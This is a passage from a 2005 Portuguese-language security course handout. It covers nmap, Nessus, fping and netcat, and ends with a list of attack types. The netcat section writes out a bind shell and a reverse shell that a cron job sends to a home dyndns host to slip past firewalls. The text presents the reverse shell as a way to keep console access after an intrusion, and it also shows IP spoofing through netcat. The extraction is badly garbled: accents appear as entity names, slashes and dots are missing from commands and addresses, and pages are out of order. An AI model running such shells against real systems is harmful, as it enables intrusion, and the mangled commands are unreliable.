se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 4: Curso de segurança em linux e redes em geral

Esta teacutecnica eacute uma forma incriacutevelmente eficaz de se reunir informaccedilotildees sobre um dadoambiente u sistema alvo4 Quebra de senha tem por finalidade obter as senhas de acesso ao sistema ou de umaconta em especial As principais teacutecnicas que podem ser empregadas satildeomiddot Forccedila brutamiddot Dicionaacuteriomiddot Combinaccedilatildeo de palavrasComo natildeo existem senhas 100 seguras eacute uma questatildeo de tempo ateacute que um softwarede quebra de senha consiga descobrir uma senha5 Filtragem de Pacote (packet sniffing) almeja a coleta de nomes de usuaacuterio e senhasque trafegam de forma natildeo protegida pela rede e outros tipos de informaccedilotildeespertinentes para o invasor6 Varredura ICMP - Pinging esta teacutecnica eacute utilizada para determinar os possiacuteveis alvospara um determinado ataque mas tambeacutem pode ser utilizada por Administradores deRede para realizar o monitoramento da mesma7 Scanner de Portas consiste na determinaccedilatildeo de quais serviccedilos de rede estatildeo ativosnos hospedeiros da rede bem como da identificaccedilatildeo das principais vulnerabilidades aque estes hospedeiros estatildeo sujeitos Ao identificar o endereccedilo de um hospedeiro ativoo invasor pode utilizar este valor para forjar um ataque sem ser identificado8 Coleta do Finger Printing de um hospedeiro9 Coacutedigo malicioso (malware) programas desenvolvidos com objetivo de furto deinformaccedilotildees ou ateacute mesmo danificaccedilatildeo dos sistemasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 4 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200512) Os Principais tipos de Ataques1 Personificaccedilatildeo (masquerade) uma entidade faz-se passar por outras2 Replay apoacutes uma mensagem ser interceptada ela pode ser transmitida para permitir o acesso deum invasor ao sistema3 Modificaccedilatildeo de Conteuacutedo o conteuacutedo de uma mensagem alterado de forma furtiva4 Ataques Internos normalmente proferidos por usuaacuterios legiacutetimos que realizam operaccedilotildees ilegais5 Armadilhas (trapdoor) entidades do sistemas satildeo modificadas para produzir efeitos natildeoautorizados em resposta a determinadas mensagens ou intervalos de tempo6 Cavalos de Troacuteia entidades que executam funccedilotildees natildeo autorizadas como por exemplo umprocedimento de Login modificado

